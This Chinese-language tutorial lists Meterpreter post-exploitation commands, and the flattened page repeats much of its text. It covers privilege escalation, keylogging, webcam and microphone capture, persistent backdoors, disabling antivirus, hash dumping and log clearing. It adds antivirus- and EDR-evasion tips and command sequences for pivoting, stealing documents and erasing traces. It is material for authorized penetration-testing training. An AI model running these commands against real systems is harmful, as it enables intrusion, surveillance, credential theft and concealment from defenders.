Metasploit入门系列(九)——Meterpreter(二)
字数 2727 2025-08-18 11:39:00

Meterpreter 命令详解与实战指南

一、Meterpreter 核心概念

Meterpreter 是 Metasploit 框架中的一个高级、动态可扩展的有效载荷,它运行于内存中,不向硬盘写入任何内容,具有强大的后渗透功能。Meterpreter 采用模块化设计,支持多种操作系统平台,提供统一的命令接口,不受底层操作系统限制。

二、核心命令 (Core Commands)

1. 会话管理命令

  • background:将当前会话放入后台
  • sessions -i [ID]:重新进入指定ID的会话
  • exit/quit:终止当前 Meterpreter 会话
  • sleep [秒数]:使 Meterpreter 静默指定时间后重新建立连接
  • transport [list|change]:查看或更改当前传输机制

2. 脚本与模块管理

  • load [扩展名]:加载 Meterpreter 扩展
  • run [脚本名]:执行 Meterpreter 脚本或 Post 模块
  • bgrun [脚本名]:在后台执行脚本(本地后台运行)
  • resource [文件路径]:执行文件中存储的命令序列

3. 进程操作

  • migrate [PID]:将 Meterpreter 迁移到指定进程
  • getpid:获取当前 Meterpreter 进程 ID
  • ps:列出所有运行中的进程
  • kill [PID]:终止指定进程

三、文件系统操作 (Stdapi: File system)

1. 目录操作

  • pwd/getwd:显示当前工作目录
  • lpwd/getlwd:显示本地工作目录
  • cd [路径]:更改目标机工作目录
  • lcd [路径]:更改本地工作目录
  • ls/dir:列出当前目录内容(跨平台统一)
  • lls:列出本地目录内容
  • mkdir [目录名]:创建新目录
  • rmdir [目录名]:删除目录

2. 文件操作

  • cat [文件]:显示文件内容
  • download [远程文件] [本地路径]:下载文件
  • upload [本地文件] [远程路径]:上传文件
  • edit [文件]:编辑文件
  • rm [文件]:删除文件
  • mv [源] [目标]:移动/重命名文件
  • cp [源] [目标]:复制文件
  • search -f [模式]:搜索文件
  • checksum [文件]:计算文件校验和

四、系统命令 (Stdapi: System)

1. 系统信息

  • sysinfo:获取系统信息(OS、架构等)
  • getuid:获取当前用户身份
  • getprivs:获取当前用户权限
  • localtime:显示目标系统本地时间
  • idletime:显示用户空闲时间

2. 权限提升

  • getsystem:尝试提升到 SYSTEM 权限
  • steal_token [PID]:窃取目标进程的令牌
  • drop_token:放弃当前窃取的令牌
  • rev2self:恢复原始用户身份

3. 系统控制

  • shell:进入系统命令行界面
  • execute -f [程序] -H:隐藏执行程序
  • reboot:重启目标系统
  • shutdown:关闭目标系统
  • clearev:清除事件日志(需要 SYSTEM 权限)

五、网络命令 (Stdapi: Networking)

  • ipconfig/ifconfig:显示网络接口信息
  • arp:显示 ARP 缓存
  • netstat:显示网络连接
  • portfwd:设置端口转发
  • route:查看和修改路由表
  • getproxy:显示当前代理配置

六、用户界面操作 (Stdapi: User interface)

  • screenshot:截取屏幕
  • keyscan_start:开始键盘记录
  • keyscan_stop:停止键盘记录
  • keyscan_dump:导出键盘记录
  • enumdesktops:列出可访问的桌面
  • setdesktop [ID]:切换桌面

七、多媒体操作

1. 摄像头操作

  • webcam_list:列出可用摄像头
  • webcam_snap:拍摄摄像头快照
  • webcam_stream:开启摄像头实时流
  • webcam_chat:开启视频聊天

2. 音频操作

  • record_mic [秒数]:录制麦克风音频
  • play [音频文件]:在目标系统播放音频

八、实用脚本 (run 命令)

1. 信息收集

  • run post/windows/gather/enum_computers:枚举域内计算机
  • run post/multi/gather/wlan_geolocate:基于WLAN定位
  • run post/windows/wlan/wlan_profile:获取WiFi配置文件

2. 权限维持

  • run persistence:创建持久化后门
    • -X:开机启动
    • -i [间隔]:回连间隔
    • -p [端口]:监听端口
    • -r [IP]:回连地址

3. 系统操作

  • run killav:尝试关闭杀毒软件
  • run service_manager -l:服务管理
  • run vnc:开启VNC远程控制
  • run hashdump:导出密码哈希(需SYSTEM权限)

九、实战技巧与注意事项

  1. 进程迁移:建议将 Meterpreter 迁移到稳定进程(如 explorer.exe),避免会话中断

  2. 权限提升:先使用 getsystem,失败后可尝试 exploit/windows/local/bypassuac 等模块

  3. 文件操作:Windows 路径中使用 \\ 代替 \ 避免转义问题

  4. 持久化persistence 脚本生成的 payload 可能被杀毒软件检测,建议使用自定义 payload

  5. 日志清理clearev 仅清除基本日志,高级取证仍可能恢复痕迹

  6. 网络穿透:使用 portfwdautoroute + socks4a 进行内网穿透

  7. 免杀处理:内存中的 Meterpreter 仍可能被高级EDR检测,建议使用定制化 payload

  8. 模块路径:脚本生成的文件通常存储在 ~/.msf4/loot/(Linux)或 %USERPROFILE%\.msf4\loot\(Windows)

十、常用命令组合示例

  1. 基础信息收集

    sysinfo
    getuid
    getprivs
    run post/windows/gather/checkvm
    
  2. 权限提升

    getsystem
    # 如果失败
    background
    use exploit/windows/local/bypassuac
    set session [ID]
    exploit
    
  3. 内网渗透

    run get_local_subnets
    run autoroute -s [子网]
    background
    use auxiliary/server/socks4a
    exploit -j
    
  4. 数据窃取

    search -f *.doc*
    download "C:\\Users\\[用户]\\Documents\\*.docx" /tmp/
    run post/windows/gather/enum_chrome
    
  5. 痕迹清理

    clearev
    timestomp [文件] -f
    

通过掌握这些 Meterpreter 命令和技巧,您将能够高效地进行后渗透测试工作。请始终确保在合法授权范围内使用这些技术。

Meterpreter 命令详解与实战指南 一、Meterpreter 核心概念 Meterpreter 是 Metasploit 框架中的一个高级、动态可扩展的有效载荷,它运行于内存中,不向硬盘写入任何内容,具有强大的后渗透功能。Meterpreter 采用模块化设计,支持多种操作系统平台,提供统一的命令接口,不受底层操作系统限制。 二、核心命令 (Core Commands) 1. 会话管理命令 background :将当前会话放入后台 sessions -i [ID] :重新进入指定ID的会话 exit / quit :终止当前 Meterpreter 会话 sleep [秒数] :使 Meterpreter 静默指定时间后重新建立连接 transport [list|change] :查看或更改当前传输机制 2. 脚本与模块管理 load [扩展名] :加载 Meterpreter 扩展 run [脚本名] :执行 Meterpreter 脚本或 Post 模块 bgrun [脚本名] :在后台执行脚本(本地后台运行) resource [文件路径] :执行文件中存储的命令序列 3. 进程操作 migrate [PID] :将 Meterpreter 迁移到指定进程 getpid :获取当前 Meterpreter 进程 ID ps :列出所有运行中的进程 kill [PID] :终止指定进程 三、文件系统操作 (Stdapi: File system) 1. 目录操作 pwd / getwd :显示当前工作目录 lpwd / getlwd :显示本地工作目录 cd [路径] :更改目标机工作目录 lcd [路径] :更改本地工作目录 ls / dir :列出当前目录内容(跨平台统一) lls :列出本地目录内容 mkdir [目录名] :创建新目录 rmdir [目录名] :删除目录 2. 文件操作 cat [文件] :显示文件内容 download [远程文件] [本地路径] :下载文件 upload [本地文件] [远程路径] :上传文件 edit [文件] :编辑文件 rm [文件] :删除文件 mv [源] [目标] :移动/重命名文件 cp [源] [目标] :复制文件 search -f [模式] :搜索文件 checksum [文件] :计算文件校验和 四、系统命令 (Stdapi: System) 1. 系统信息 sysinfo :获取系统信息(OS、架构等) getuid :获取当前用户身份 getprivs :获取当前用户权限 localtime :显示目标系统本地时间 idletime :显示用户空闲时间 2. 权限提升 getsystem :尝试提升到 SYSTEM 权限 steal_token [PID] :窃取目标进程的令牌 drop_token :放弃当前窃取的令牌 rev2self :恢复原始用户身份 3. 系统控制 shell :进入系统命令行界面 execute -f [程序] -H :隐藏执行程序 reboot :重启目标系统 shutdown :关闭目标系统 clearev :清除事件日志(需要 SYSTEM 权限) 五、网络命令 (Stdapi: Networking) ipconfig / ifconfig :显示网络接口信息 arp :显示 ARP 缓存 netstat :显示网络连接 portfwd :设置端口转发 route :查看和修改路由表 getproxy :显示当前代理配置 六、用户界面操作 (Stdapi: User interface) screenshot :截取屏幕 keyscan_start :开始键盘记录 keyscan_stop :停止键盘记录 keyscan_dump :导出键盘记录 enumdesktops :列出可访问的桌面 setdesktop [ID] :切换桌面 七、多媒体操作 1. 摄像头操作 webcam_list :列出可用摄像头 webcam_snap :拍摄摄像头快照 webcam_stream :开启摄像头实时流 webcam_chat :开启视频聊天 2. 音频操作 record_mic [秒数] :录制麦克风音频 play [音频文件] :在目标系统播放音频 八、实用脚本 (run 命令) 1. 信息收集 run post/windows/gather/enum_computers :枚举域内计算机 run post/multi/gather/wlan_geolocate :基于WLAN定位 run post/windows/wlan/wlan_profile :获取WiFi配置文件 2. 权限维持 run persistence :创建持久化后门 -X :开机启动 -i [间隔] :回连间隔 -p [端口] :监听端口 -r [IP] :回连地址 3. 系统操作 run killav :尝试关闭杀毒软件 run service_manager -l :服务管理 run vnc :开启VNC远程控制 run hashdump :导出密码哈希(需SYSTEM权限) 九、实战技巧与注意事项 进程迁移 :建议将 Meterpreter 迁移到稳定进程(如 explorer.exe),避免会话中断 权限提升 :先使用 getsystem ,失败后可尝试 exploit/windows/local/bypassuac 等模块 文件操作 :Windows 路径中使用 \\ 代替 \ 避免转义问题 持久化 : persistence 脚本生成的 payload 可能被杀毒软件检测,建议使用自定义 payload 日志清理 : clearev 仅清除基本日志,高级取证仍可能恢复痕迹 网络穿透 :使用 portfwd 或 autoroute + socks4a 进行内网穿透 免杀处理 :内存中的 Meterpreter 仍可能被高级EDR检测,建议使用定制化 payload 模块路径 :脚本生成的文件通常存储在 ~/.msf4/loot/ (Linux)或 %USERPROFILE%\.msf4\loot\ (Windows) 十、常用命令组合示例 基础信息收集 权限提升 内网渗透 数据窃取 痕迹清理 通过掌握这些 Meterpreter 命令和技巧,您将能够高效地进行后渗透测试工作。请始终确保在合法授权范围内使用这些技术。